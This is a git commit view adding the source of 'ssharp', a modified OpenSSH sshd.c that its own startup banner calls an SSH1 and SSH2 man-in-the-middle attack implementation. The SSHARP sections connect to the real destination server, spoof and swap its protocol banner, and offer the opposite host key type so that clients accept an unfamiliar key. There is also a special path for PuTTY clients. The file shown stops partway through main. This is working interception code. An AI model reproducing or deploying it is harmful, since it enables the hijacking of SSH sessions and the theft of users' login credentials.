summaryrefslogtreecommitdiff
path: root/other/ssharp/sshd.c
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /other/ssharp/sshd.c
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'other/ssharp/sshd.c')
-rw-r--r--other/ssharp/sshd.c1573
1 files changed, 1573 insertions, 0 deletions
diff --git a/other/ssharp/sshd.c b/other/ssharp/sshd.c
new file mode 100644
index 0000000..985e3b8
--- /dev/null
+++ b/other/ssharp/sshd.c
@@ -0,0 +1,1573 @@
1/*
2 * Author: Tatu Ylonen <ylo@cs.hut.fi>
3 * Copyright (c) 1995 Tatu Ylonen <ylo@cs.hut.fi>, Espoo, Finland
4 * All rights reserved
5 * This program is the ssh daemon. It listens for connections from clients,
6 * and performs authentication, executes use commands or shell, and forwards
7 * information to/from the application to the user client over an encrypted
8 * connection. This can also handle forwarding of X11, TCP/IP, and
9 * authentication agent connections.
10 *
11 * As far as I am concerned, the code I have written for this software
12 * can be used freely for any purpose. Any derived versions of this
13 * software must be clearly marked as such, and if the derived work is
14 * incompatible with the protocol description in the RFC file, it must be
15 * called by a name other than "ssh" or "Secure Shell".
16 *
17 * SSH2 implementation:
18 *
19 * Copyright (c) 2000 Markus Friedl. All rights reserved.
20 *
21 * Redistribution and use in source and binary forms, with or without
22 * modification, are permitted provided that the following conditions
23 * are met:
24 * 1. Redistributions of source code must retain the above copyright
25 * notice, this list of conditions and the following disclaimer.
26 * 2. Redistributions in binary form must reproduce the above copyright
27 * notice, this list of conditions and the following disclaimer in the
28 * documentation and/or other materials provided with the distribution.
29 *
30 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
31 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
32 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
33 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
34 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
35 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
36 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
37 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
38 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
39 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
40 */
41
42#include "includes.h"
43RCSID("$OpenBSD: sshd.c,v 1.195 2001/04/15 16:58:03 markus Exp $");
44
45#include <openssl/dh.h>
46#include <openssl/bn.h>
47#include <openssl/hmac.h>
48
49#include "ssh.h"
50#include "ssh1.h"
51#include "ssh2.h"
52#include "xmalloc.h"
53#include "rsa.h"
54#include "sshpty.h"
55#include "packet.h"
56#include "mpaux.h"
57#include "log.h"
58#include "servconf.h"
59#include "uidswap.h"
60#include "compat.h"
61#include "buffer.h"
62#include "cipher.h"
63#include "kex.h"
64#include "key.h"
65#include "dh.h"
66#include "myproposal.h"
67#include "authfile.h"
68#include "pathnames.h"
69#include "atomicio.h"
70#include "canohost.h"
71#include "auth.h"
72#include "misc.h"
73#include "dispatch.h"
74
75#ifdef LIBWRAP
76#include <tcpd.h>
77#include <syslog.h>
78int allow_severity = LOG_INFO;
79int deny_severity = LOG_WARNING;
80#endif /* LIBWRAP */
81
82#ifndef O_NOCTTY
83#define O_NOCTTY 0
84#endif
85
86#ifdef HAVE___PROGNAME
87extern char *__progname;
88#else
89char *__progname;
90#endif
91
92/* Server configuration options. */
93ServerOptions options;
94
95/* Name of the server configuration file. */
96char *config_file_name = _PATH_SERVER_CONFIG_FILE;
97
98/*
99 * Flag indicating whether IPv4 or IPv6. This can be set on the command line.
100 * Default value is AF_UNSPEC means both IPv4 and IPv6.
101 */
102#ifdef IPV4_DEFAULT
103int IPv4or6 = AF_INET;
104#else
105int IPv4or6 = AF_UNSPEC;
106#endif
107
108/*
109 * Debug mode flag. This can be set on the command line. If debug
110 * mode is enabled, extra debugging output will be sent to the system
111 * log, the daemon will not go to background, and will exit after processing
112 * the first connection.
113 */
114int debug_flag = 0;
115
116/* Flag indicating that the daemon is being started from inetd. */
117int inetd_flag = 0;
118
119/* Flag indicating that sshd should not detach and become a daemon. */
120int no_daemon_flag = 0;
121
122/* debug goes to stderr unless inetd_flag is set */
123int log_stderr = 0;
124
125/* Saved arguments to main(). */
126char **saved_argv;
127int saved_argc;
128
129/*
130 * The sockets that the server is listening; this is used in the SIGHUP
131 * signal handler.
132 */
133#define MAX_LISTEN_SOCKS 16
134int listen_socks[MAX_LISTEN_SOCKS];
135int num_listen_socks = 0;
136
137/*
138 * the client's version string, passed by sshd2 in compat mode. if != NULL,
139 * sshd will skip the version-number exchange
140 */
141char *client_version_string = NULL;
142char *server_version_string = NULL;
143
144/* for rekeying XXX fixme */
145Kex *xxx_kex;
146
147/*
148 * Any really sensitive data in the application is contained in this
149 * structure. The idea is that this structure could be locked into memory so
150 * that the pages do not get written into swap. However, there are some
151 * problems. The private key contains BIGNUMs, and we do not (in principle)
152 * have access to the internals of them, and locking just the structure is
153 * not very useful. Currently, memory locking is not implemented.
154 */
155struct {
156 Key *server_key; /* ephemeral server key */
157 Key *ssh1_host_key; /* ssh1 host key */
158 Key **host_keys; /* all private host keys */
159 int have_ssh1_key;
160 int have_ssh2_key;
161 u_char ssh1_cookie[SSH_SESSION_KEY_LENGTH];
162} sensitive_data;
163
164/*
165 * Flag indicating whether the RSA server key needs to be regenerated.
166 * Is set in the SIGALRM handler and cleared when the key is regenerated.
167 */
168int key_do_regen = 0;
169
170/* This is set to true when SIGHUP is received. */
171int received_sighup = 0;
172
173/* session identifier, used by RSA-auth */
174u_char session_id[16];
175
176/* same for ssh2 */
177u_char *session_id2 = NULL;
178int session_id2_len = 0;
179
180/* record remote hostname or ip */
181u_int utmp_len = MAXHOSTNAMELEN;
182
183/* Prototypes for various functions defined later in this file. */
184void do_ssh1_kex(void);
185void do_ssh2_kex(void);
186
187void ssh_dh1_server(Kex *, Buffer *_kexinit, Buffer *);
188void ssh_dhgex_server(Kex *, Buffer *_kexinit, Buffer *);
189
190/*
191 * Close all listening sockets
192 */
193void
194close_listen_socks(void)
195{
196 int i;
197 for (i = 0; i < num_listen_socks; i++)
198 close(listen_socks[i]);
199 num_listen_socks = -1;
200}
201
202/*
203 * Signal handler for SIGHUP. Sshd execs itself when it receives SIGHUP;
204 * the effect is to reread the configuration file (and to regenerate
205 * the server key).
206 */
207void
208sighup_handler(int sig)
209{
210 received_sighup = 1;
211 signal(SIGHUP, sighup_handler);
212}
213
214/*
215 * Called from the main program after receiving SIGHUP.
216 * Restarts the server.
217 */
218void
219sighup_restart(void)
220{
221 log("Received SIGHUP; restarting.");
222 close_listen_socks();
223 execv(saved_argv[0], saved_argv);
224 log("RESTART FAILED: av[0]='%.100s', error: %.100s.", saved_argv[0], strerror(errno));
225 exit(1);
226}
227
228/*
229 * Generic signal handler for terminating signals in the master daemon.
230 * These close the listen socket; not closing it seems to cause "Address
231 * already in use" problems on some machines, which is inconvenient.
232 */
233void
234sigterm_handler(int sig)
235{
236 log("Received signal %d; terminating.", sig);
237 close_listen_socks();
238 unlink(options.pid_file);
239 exit(255);
240}
241
242/*
243 * SIGCHLD handler. This is called whenever a child dies. This will then
244 * reap any zombies left by exited c.
245 */
246void
247main_sigchld_handler(int sig)
248{
249 int save_errno = errno;
250 int status;
251
252 while (waitpid(-1, &status, WNOHANG) > 0)
253 ;
254
255 signal(SIGCHLD, main_sigchld_handler);
256 errno = save_errno;
257}
258
259/*
260 * Signal handler for the alarm after the login grace period has expired.
261 */
262void
263grace_alarm_handler(int sig)
264{
265 /* Close the connection. */
266 packet_close();
267
268 /* Log error and exit. */
269 fatal("Timeout before authentication for %s.", get_remote_ipaddr());
270}
271
272/*
273 * Signal handler for the key regeneration alarm. Note that this
274 * alarm only occurs in the daemon waiting for connections, and it does not
275 * do anything with the private key or random state before forking.
276 * Thus there should be no concurrency control/asynchronous execution
277 * problems.
278 */
279void
280generate_ephemeral_server_key(void)
281{
282 u_int32_t rand = 0;
283 int i;
284
285 verbose("Generating %s%d bit RSA key.",
286 sensitive_data.server_key ? "new " : "", options.server_key_bits);
287 if (sensitive_data.server_key != NULL)
288 key_free(sensitive_data.server_key);
289 sensitive_data.server_key = key_generate(KEY_RSA1,
290 options.server_key_bits);
291 verbose("RSA key generation complete.");
292
293 for (i = 0; i < SSH_SESSION_KEY_LENGTH; i++) {
294 if (i % 4 == 0)
295 rand = arc4random();
296 sensitive_data.ssh1_cookie[i] = rand & 0xff;
297 rand >>= 8;
298 }
299 arc4random_stir();
300}
301
302void
303key_regeneration_alarm(int sig)
304{
305 int save_errno = errno;
306 signal(SIGALRM, SIG_DFL);
307 errno = save_errno;
308 key_do_regen = 1;
309}
310
311int SSH2_mim_only = 0;
312char *SSH2_mim_cipher = NULL;
313
314void
315sshd_exchange_identification(int sock_in, int sock_out)
316{
317 int i, mismatch, r;
318 int remote_major, remote_minor;
319 int major = 1, minor = 99;
320 char *s;
321 char buf[256]; /* Must not be larger than remote_version. */
322 char remote_version[256]; /* Must be at least as big as buf. */
323 char cbuf[1024];
324 struct sockaddr_in dst, local;
325 int peer;
326
327 dstaddr(sock_in, &dst);
328 dst.sin_family = AF_INET;
329
330 memset(&local, 0, sizeof(local));
331 local.sin_family = AF_INET;
332
333 snprintf(remote_version, sizeof(remote_version), "%s",
334 SSH_VERSION);
335
336
337 /* SSHARP */
338 memset(cbuf, 0, sizeof(cbuf));
339 do {
340 if ((peer=socket_connect_b((struct sockaddr*)&dst, sizeof(dst),
341 SSHARP_MINPORT)) < 0)
342 break;
343
344 /* For new SSH2 MiM, do not mess with the banner,
345 * look for supported SSH2 keys */
346 if (SSH2_mim_only) {
347 while (cbuf[0] != '\n')
348 read(peer, cbuf, 1);
349
350 writen(peer, "SSH-2.00-OpenSSH_2.3.0\n", 23);
351 r = readn(peer, cbuf, 200);
352 if (r < 0)
353 break;
354 /* Kill 0-bytes */
355 cbuf[r] = 0; --r;
356 for (; r >= 0; --r) {
357 if (cbuf[r] == 0)
358 cbuf[r] = 'X';
359 }
360 /* If server speaks DSS only, use RSA and other way
361 * around */
362 if (strstr(cbuf, "ssh-dss")&&!strstr(cbuf, "ssh-rsa")) {
363 for(i=0; i < options.num_host_key_files; i++) {
364 Key *key = sensitive_data.host_keys[i];
365 if (key == NULL)
366 continue;
367 if (key->type == KEY_DSA)
368 sensitive_data.host_keys[i] = 0;
369 }
370 SSH2_mim_cipher = "ssh-rsa";
371 }
372 if (strstr(cbuf, "ssh-rsa")&&!strstr(cbuf, "ssh-dss")) {
373 for(i=0; i < options.num_host_key_files; i++) {
374 Key *key = sensitive_data.host_keys[i];
375 if (key == NULL)
376 continue;
377 if (key->type == KEY_RSA)
378 sensitive_data.host_keys[i] = 0;
379 }
380 SSH2_mim_cipher = "ssh-dss";
381 }
382
383 if (SSH2_mim_cipher)
384 log("ssharp: Already found new cipher: %s", SSH2_mim_cipher);
385 close(peer);
386 major = 2;
387 minor = 0;
388 break;
389 }
390
391 memset(buf, 0, sizeof(buf));
392 if (read(peer, buf, sizeof(buf)-1) < 0)
393 break;
394 close(peer);
395 if (sscanf(buf, "SSH-%d.%d-%[^\n]\n", &major, &minor,
396 remote_version) != 3) {
397 major = 2;
398 minor = 0;
399 snprintf(remote_version, sizeof(remote_version), "%s",
400 SSH_VERSION);
401 }
402 /* SSHARP: do the banner-hack,make ssh1 ssh2 and ssh2 ssh1 :) */
403 minor = major == 2 ? 5 : 0;
404 major = major == 1 ? 2 : 1;
405 } while (0);
406
407 snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s\n", major, minor, remote_version);
408 server_version_string = xstrdup(buf);
409
410 if (client_version_string == NULL) {
411 /* Send our protocol version identification. */
412 if (atomicio(write, sock_out, server_version_string, strlen(server_version_string))
413 != strlen(server_version_string)) {
414 log("Could not write ident string to %s.", get_remote_ipaddr());
415 fatal_cleanup();
416 }
417
418 /* Read other side's version identification. */
419 memset(buf, 0, sizeof(buf));
420 for (i = 0; i < sizeof(buf) - 1; i++) {
421 if (atomicio(read, sock_in, &buf[i], 1) != 1) {
422 log("Did not receive identification string from %s.",
423 get_remote_ipaddr());
424 fatal_cleanup();
425 }
426 if (buf[i] == '\r') {
427 buf[i] = 0;
428 /* Kludge for F-Secure Macintosh < 1.0.2 */
429 if (i == 12 &&
430 strncmp(buf, "SSH-1.5-W1.0", 12) == 0)
431 break;
432 continue;
433 }
434 if (buf[i] == '\n') {
435 buf[i] = 0;
436 break;
437 }
438 }
439 buf[sizeof(buf) - 1] = 0;
440 client_version_string = xstrdup(buf);
441
442 /* Hack for the PuTTY client */
443 if (strstr(client_version_string, "PuTTY") && !SSH2_mim_cipher && SSH2_mim_only) {
444 log("PuTTY client");
445 if (strstr(cbuf, "ssh-rsa,ssh-dss"))
446 SSH2_mim_cipher = strdup("ssh-dss");
447 else if (strstr(cbuf, "ssh-dss,ssh-rsa"))
448 SSH2_mim_cipher = strdup("ssh-rsa");
449 }
450 }
451
452 /*
453 * Check that the versions match. In future this might accept
454 * several versions and set appropriate flags to handle them.
455 */
456 if (sscanf(client_version_string, "SSH-%d.%d-%[^\n]\n",
457 &remote_major, &remote_minor, remote_version) != 3) {
458 s = "Protocol mismatch.\n";
459 (void) atomicio(write, sock_out, s, strlen(s));
460 close(sock_in);
461 close(sock_out);
462 log("Bad protocol version identification '%.100s' from %s",
463 client_version_string, get_remote_ipaddr());
464 fatal_cleanup();
465 }
466 debug("Client protocol version %d.%d; client software version %.100s",
467 remote_major, remote_minor, remote_version);
468
469 compat_datafellows(remote_version);
470
471 if (datafellows & SSH_BUG_SCANNER) {
472 log("scanned from %s with %s. Don't panic.",
473 get_remote_ipaddr(), client_version_string);
474 fatal_cleanup();
475 }
476
477 mismatch = 0;
478 switch(remote_major) {
479 case 1:
480 if (remote_minor == 99) {
481 if (options.protocol & SSH_PROTO_2)
482 enable_compat20();
483 else
484 mismatch = 1;
485 break;
486 }
487 if (!(options.protocol & SSH_PROTO_1)) {
488 mismatch = 1;
489 break;
490 }
491 if (remote_minor < 3) {
492 packet_disconnect("Your ssh version is too old and "
493 "is no longer supported. Please install a newer version.");
494 } else if (remote_minor == 3) {
495 /* note that this disables agent-forwarding */
496 enable_compat13();
497 }
498 break;
499 case 2:
500 if (options.protocol & SSH_PROTO_2) {
501 enable_compat20();
502 break;
503 }
504 /* FALLTHROUGH */
505 default:
506 mismatch = 1;
507 break;
508 }
509 chop(server_version_string);
510 debug("Local version string %.200s", server_version_string);
511
512 if (mismatch) {
513 s = "Protocol major versions differ.\n";
514 (void) atomicio(write, sock_out, s, strlen(s));
515 close(sock_in);
516 close(sock_out);
517 log("Protocol major versions differ for %s: %.200s vs. %.200s",
518 get_remote_ipaddr(),
519 server_version_string, client_version_string);
520 fatal_cleanup();
521 }
522 if (compat20)
523 packet_set_ssh2_format();
524}
525
526
527/* Destroy the host and server keys. They will no longer be needed. */
528void
529destroy_sensitive_data(void)
530{
531 int i;
532
533 if (sensitive_data.server_key) {
534 key_free(sensitive_data.server_key);
535 sensitive_data.server_key = NULL;
536 }
537 for(i = 0; i < options.num_host_key_files; i++) {
538 if (sensitive_data.host_keys[i]) {
539 key_free(sensitive_data.host_keys[i]);
540 sensitive_data.host_keys[i] = NULL;
541 }
542 }
543 sensitive_data.ssh1_host_key = NULL;
544 memset(sensitive_data.ssh1_cookie, 0, SSH_SESSION_KEY_LENGTH);
545}
546
547char *
548list_hostkey_types(void)
549{
550 static char buf[1024];
551 int i;
552 buf[0] = '\0';
553 for(i = 0; i < options.num_host_key_files; i++) {
554 Key *key = sensitive_data.host_keys[i];
555 if (key == NULL)
556 continue;
557 switch(key->type) {
558 case KEY_RSA:
559 case KEY_DSA:
560 strlcat(buf, key_ssh_name(key), sizeof buf);
561 strlcat(buf, ",", sizeof buf);
562 break;
563 }
564 }
565 i = strlen(buf);
566 if (i > 0 && buf[i-1] == ',')
567 buf[i-1] = '\0';
568 debug("list_hostkey_types: %s", buf);
569 return buf;
570}
571
572Key *
573get_hostkey_by_type(int type)
574{
575 int i;
576 for(i = 0; i < options.num_host_key_files; i++) {
577 Key *key = sensitive_data.host_keys[i];
578 if (key != NULL && key->type == type)
579 return key;
580 }
581 return NULL;
582}
583
584/*
585 * returns 1 if connection should be dropped, 0 otherwise.
586 * dropping starts at connection #max_startups_begin with a probability
587 * of (max_startups_rate/100). the probability increases linearly until
588 * all connections are dropped for startups > max_startups
589 */
590int
591drop_connection(int startups)
592{
593 double p, r;
594
595 if (startups < options.max_startups_begin)
596 return 0;
597 if (startups >= options.max_startups)
598 return 1;
599 if (options.max_startups_rate == 100)
600 return 1;
601
602 p = 100 - options.max_startups_rate;
603 p *= startups - options.max_startups_begin;
604 p /= (double) (options.max_startups - options.max_startups_begin);
605 p += options.max_startups_rate;
606 p /= 100.0;
607 r = arc4random() / (double) UINT_MAX;
608
609 debug("drop_connection: p %g, r %g", p, r);
610 return (r < p) ? 1 : 0;
611}
612
613int *startup_pipes = NULL; /* options.max_startup sized array of fd ints */
614int startup_pipe; /* in child */
615
616
617/*
618 * Main program for the daemon.
619 */
620int
621main(int ac, char **av)
622{
623 extern char *optarg;
624 extern int optind;
625 int opt, sock_in = 0, sock_out = 0, newsock, j, i, fdsetsz, on = 1;
626 pid_t pid;
627 socklen_t fromlen;
628 fd_set *fdset;
629 struct sockaddr_storage from;
630 const char *remote_ip;
631 int remote_port;
632 FILE *f;
633 struct linger linger;
634 struct addrinfo *ai;
635 char ntop[NI_MAXHOST], strport[NI_MAXSERV];
636 int listen_sock, maxfd;
637 int startup_p[2];
638 int startups = 0;
639 Key *key;
640 int ret, key_used = 0;
641 char dummy;
642
643
644 fprintf(stderr, "\n\n"
645 "Dude, Stealth speaking here. This is 7350ssharp, a smart\n"
646 "SSH1 & SSH2 MiM attack implementation. It's for demonstration\n"
647 "and educational purposes ONLY! Think before you type ... (<ENTER> or <Ctrl-C>)\n\n");
648 read(0, &dummy, 1);
649
650 __progname = get_progname(av[0]);
651 init_rng();
652
653 /* Save argv. */
654 saved_argc = ac;
655 saved_argv = av;
656
657 /* Initialize configuration options to their default values. */
658 initialize_server_options(&options);
659
660 /* Parse command-line arguments. */
661 while ((opt = getopt(ac, av, "f:p:b:k:h:g:V:u:dDeiqQ467")) != -1) {
662 switch (opt) {
663 case '7':
664 SSH2_mim_only = 1;
665 printf("Using special SSH2 MiM ...\n");
666 break;
667 case '4':
668 IPv4or6 = AF_INET;
669 break;
670 case '6':
671 IPv4or6 = AF_INET6;
672 break;
673 case 'f':
674 config_file_name = optarg;
675 break;
676 case 'd':
677 if (0 == debug_flag) {
678 debug_flag = 1;
679 options.log_level = SYSLOG_LEVEL_DEBUG1;
680 } else if (options.log_level < SYSLOG_LEVEL_DEBUG3) {
681 options.log_level++;
682 } else {
683 fprintf(stderr, "Too high debugging level.\n");
684 exit(1);
685 }
686 break;
687 case 'D':
688 no_daemon_flag = 1;
689 break;
690 case 'e':
691 log_stderr = 1;
692 break;
693 case 'i':
694 inetd_flag = 1;
695 break;
696 case 'Q':
697 /* ignored */
698 break;
699 case 'q':
700 options.log_level = SYSLOG_LEVEL_QUIET;
701 break;
702 case 'b':
703 options.server_key_bits = atoi(optarg);
704 break;
705 case 'p':
706 options.ports_from_cmdline = 1;
707 if (options.num_ports >= MAX_PORTS) {
708 fprintf(stderr, "too many ports.\n");
709 exit(1);
710 }
711 options.ports[options.num_ports++] = a2port(optarg);
712 if (options.ports[options.num_ports-1] == 0) {
713 fprintf(stderr, "Bad port number.\n");
714 exit(1);
715 }
716 break;
717 case 'g':
718 options.login_grace_time = atoi(optarg);
719 break;
720 case 'k':
721 options.key_regeneration_time = atoi(optarg);
722 break;
723 case 'h':
724 if (options.num_host_key_files >= MAX_HOSTKEYS) {
725 fprintf(stderr, "too many host keys.\n");
726 exit(1);
727 }
728 options.host_key_files[options.num_host_key_files++] = optarg;
729 break;
730 case 'V':
731 client_version_string = optarg;
732 /* only makes sense with inetd_flag, i.e. no listen() */
733 inetd_flag = 1;
734 break;
735 case 'u':
736 utmp_len = atoi(optarg);
737 break;
738 case '?':
739 default:
740 fprintf(stderr, "sshd version %s\n", SSH_VERSION);
741 fprintf(stderr, "Usage: %s [options]\n", __progname);
742 fprintf(stderr, "Options:\n");
743 fprintf(stderr, " -f file Configuration file (default %s)\n", _PATH_SERVER_CONFIG_FILE);
744 fprintf(stderr, " -d Debugging mode (multiple -d means more debugging)\n");
745 fprintf(stderr, " -i Started from inetd\n");
746 fprintf(stderr, " -D Do not fork into daemon mode\n");
747 fprintf(stderr, " -q Quiet (no logging)\n");
748 fprintf(stderr, " -p port Listen on the specified port (default: 22)\n");
749 fprintf(stderr, " -k seconds Regenerate server key every this many seconds (default: 3600)\n");
750 fprintf(stderr, " -g seconds Grace period for authentication (default: 600)\n");
751 fprintf(stderr, " -b bits Size of server RSA key (default: 768 bits)\n");
752 fprintf(stderr, " -h file File from which to read host key (default: %s)\n",
753 _PATH_HOST_KEY_FILE);
754 fprintf(stderr, " -u len Maximum hostname length for utmp recording\n");
755 fprintf(stderr, " -4 Use IPv4 only\n");
756 fprintf(stderr, " -6 Use IPv6 only\n");
757 exit(1);
758 }
759 }
760 SSLeay_add_all_algorithms();
761
762 /*
763 * Force logging to stderr until we have loaded the private host
764 * key (unless started from inetd)
765 */
766 log_init("ssharp",
767 options.log_level == -1 ? SYSLOG_LEVEL_INFO : options.log_level,
768 options.log_facility == -1 ? SYSLOG_FACILITY_AUTH : options.log_facility,
769 !inetd_flag);
770
771 seed_rng();
772
773 /* Read server configuration options from the configuration file. */
774 read_server_config(&options, config_file_name);
775
776 /* Fill in default values for those options not explicitly set. */
777 fill_default_server_options(&options);
778
779 /* Check that there are no remaining arguments. */
780 if (optind < ac) {
781 fprintf(stderr, "Extra argument %s.\n", av[optind]);
782 exit(1);
783 }
784
785 debug("sshd version %.100s", SSH_VERSION);
786
787 /* load private host keys */
788 sensitive_data.host_keys = xmalloc(options.num_host_key_files*sizeof(Key*));
789 for(i = 0; i < options.num_host_key_files; i++)
790 sensitive_data.host_keys[i] = NULL;
791 sensitive_data.server_key = NULL;
792 sensitive_data.ssh1_host_key = NULL;
793 sensitive_data.have_ssh1_key = 0;
794 sensitive_data.have_ssh2_key = 0;
795
796 for(i = 0; i < options.num_host_key_files; i++) {
797 key = key_load_private(options.host_key_files[i], "", NULL);
798 sensitive_data.host_keys[i] = key;
799 if (key == NULL) {
800 error("Could not load host key: %s",
801 options.host_key_files[i]);
802 sensitive_data.host_keys[i] = NULL;
803 continue;
804 }
805 switch(key->type){
806 case KEY_RSA1:
807 sensitive_data.ssh1_host_key = key;
808 sensitive_data.have_ssh1_key = 1;
809 break;
810 case KEY_RSA:
811 case KEY_DSA:
812 sensitive_data.have_ssh2_key = 1;
813 break;
814 }
815 debug("private host key: #%d type %d %s", i, key->type,
816 key_type(key));
817 }
818 if ((options.protocol & SSH_PROTO_1) && !sensitive_data.have_ssh1_key) {
819 log("Disabling protocol version 1. Could not load host key");
820 options.protocol &= ~SSH_PROTO_1;
821 }
822 if ((options.protocol & SSH_PROTO_2) && !sensitive_data.have_ssh2_key) {
823 log("Disabling protocol version 2. Could not load host key");
824 options.protocol &= ~SSH_PROTO_2;
825 }
826 if (!(options.protocol & (SSH_PROTO_1|SSH_PROTO_2))) {
827 log("sshd: no hostkeys available -- exiting.");
828 exit(1);
829 }
830
831 /* Check certain values for sanity. */
832 if (options.protocol & SSH_PROTO_1) {
833 if (options.server_key_bits < 512 ||
834 options.server_key_bits > 32768) {
835 fprintf(stderr, "Bad server key size.\n");
836 exit(1);
837 }
838 /*
839 * Check that server and host key lengths differ sufficiently. This
840 * is necessary to make double encryption work with rsaref. Oh, I
841 * hate software patents. I dont know if this can go? Niels
842 */
843 if (options.server_key_bits >
844 BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) - SSH_KEY_BITS_RESERVED &&
845 options.server_key_bits <
846 BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED) {
847 options.server_key_bits =
848 BN_num_bits(sensitive_data.ssh1_host_key->rsa->n) + SSH_KEY_BITS_RESERVED;
849 debug("Forcing server key to %d bits to make it differ from host key.",
850 options.server_key_bits);
851 }
852 }
853
854#ifdef HAVE_SCO_PROTECTED_PW
855 (void) set_auth_parameters(ac, av);
856#endif
857
858 /* Initialize the log (it is reinitialized below in case we forked). */
859 if (debug_flag && !inetd_flag)
860 log_stderr = 1;
861 log_init(__progname, options.log_level, options.log_facility, log_stderr);
862
863 /*
864 * If not in debugging mode, and not started from inetd, disconnect
865 * from the controlling terminal, and fork. The original process
866 * exits.
867 */
868 if (!(debug_flag || inetd_flag || no_daemon_flag)) {
869#ifdef TIOCNOTTY
870 int fd;
871#endif /* TIOCNOTTY */
872 if (daemon(0, 0) < 0)
873 fatal("daemon() failed: %.200s", strerror(errno));
874
875 /* Disconnect from the controlling tty. */
876#ifdef TIOCNOTTY
877 fd = open(_PATH_TTY, O_RDWR | O_NOCTTY);
878 if (fd >= 0) {
879 (void) ioctl(fd, TIOCNOTTY, NULL);
880 close(fd);
881 }
882#endif /* TIOCNOTTY */
883 }
884 /* Reinitialize the log (because of the fork above). */
885 log_init("ssharp", options.log_level, options.log_facility, log_stderr);
886
887 /* Initialize the random number generator. */
888 arc4random_stir();
889
890 /* Chdir to the root directory so that the current disk can be
891 unmounted if desired. */
892 chdir("/");
893
894 /* ignore SIGPIPE */
895 signal(SIGPIPE, SIG_IGN);
896
897 /* Start listening for a socket, unless started from inetd. */
898 if (inetd_flag) {
899 int s1;
900 s1 = dup(0); /* Make sure descriptors 0, 1, and 2 are in use. */
901 dup(s1);
902 sock_in = dup(0);
903 sock_out = dup(1);
904 startup_pipe = -1;
905 /*
906 * We intentionally do not close the descriptors 0, 1, and 2
907 * as our code for setting the descriptors won\'t work if
908 * ttyfd happens to be one of those.
909 */
910 debug("inetd sockets after dupping: %d, %d", sock_in, sock_out);
911 if (options.protocol & SSH_PROTO_1)
912 generate_ephemeral_server_key();
913 } else {
914 for (ai = options.listen_addrs; ai; ai = ai->ai_next) {
915 if (ai->ai_family != AF_INET && ai->ai_family != AF_INET6)
916 continue;
917 if (num_listen_socks >= MAX_LISTEN_SOCKS)
918 fatal("Too many listen sockets. "
919 "Enlarge MAX_LISTEN_SOCKS");
920 if (getnameinfo(ai->ai_addr, ai->ai_addrlen,
921 ntop, sizeof(ntop), strport, sizeof(strport),
922 NI_NUMERICHOST|NI_NUMERICSERV) != 0) {
923 error("getnameinfo failed");
924 continue;
925 }
926 /* Create socket for listening. */
927 listen_sock = socket(ai->ai_family, SOCK_STREAM, 0);
928 if (listen_sock < 0) {
929 /* kernel may not support ipv6 */
930 verbose("socket: %.100s", strerror(errno));
931 continue;
932 }
933 if (fcntl(listen_sock, F_SETFL, O_NONBLOCK) < 0) {
934 error("listen_sock O_NONBLOCK: %s", strerror(errno));
935 close(listen_sock);
936 continue;
937 }
938 /*
939 * Set socket options. We try to make the port
940 * reusable and have it close as fast as possible
941 * without waiting in unnecessary wait states on
942 * close.
943 */
944 setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR,
945 (void *) &on, sizeof(on));
946 linger.l_onoff = 1;
947 linger.l_linger = 5;
948 setsockopt(listen_sock, SOL_SOCKET, SO_LINGER,
949 (void *) &linger, sizeof(linger));
950
951 debug("Bind to port %s on %s.", strport, ntop);
952
953 /* Bind the socket to the desired port. */
954 if (bind(listen_sock, ai->ai_addr, ai->ai_addrlen) < 0) {
955 if (!ai->ai_next)
956 error("Bind to port %s on %s failed: %.200s.",
957 strport, ntop, strerror(errno));
958 close(listen_sock);
959 continue;
960 }
961 listen_socks[num_listen_socks] = listen_sock;
962 num_listen_socks++;
963
964 /* Start listening on the port. */
965 log("Server listening on %s port %s.", ntop, strport);
966 if (listen(listen_sock, 5) < 0)
967 fatal("listen: %.100s", strerror(errno));
968
969 }
970 freeaddrinfo(options.listen_addrs);
971
972 if (!num_listen_socks)
973 fatal("Cannot bind any address.");
974
975 if (!debug_flag) {
976 /*
977 * Record our pid in /var/run/sshd.pid to make it
978 * easier to kill the correct sshd. We don't want to
979 * do this before the bind above because the bind will
980 * fail if there already is a daemon, and this will
981 * overwrite any old pid in the file.
982 */
983 f = fopen(options.pid_file, "wb");
984 if (f) {
985 fprintf(f, "%u\n", (u_int) getpid());
986 fclose(f);
987 }
988 }
989 if (options.protocol & SSH_PROTO_1)
990 generate_ephemeral_server_key();
991
992 /* Arrange to restart on SIGHUP. The handler needs listen_sock. */
993 signal(SIGHUP, sighup_handler);
994
995 signal(SIGTERM, sigterm_handler);
996 signal(SIGQUIT, sigterm_handler);
997
998 /* Arrange SIGCHLD to be caught. */
999 signal(SIGCHLD, main_sigchld_handler);
1000
1001 /* setup fd set for listen */
1002 fdset = NULL;
1003 maxfd = 0;
1004 for (i = 0; i < num_listen_socks; i++)
1005 if (listen_socks[i] > maxfd)
1006 maxfd = listen_socks[i];
1007 /* pipes connected to unauthenticated childs */
1008 startup_pipes = xmalloc(options.max_startups * sizeof(int));
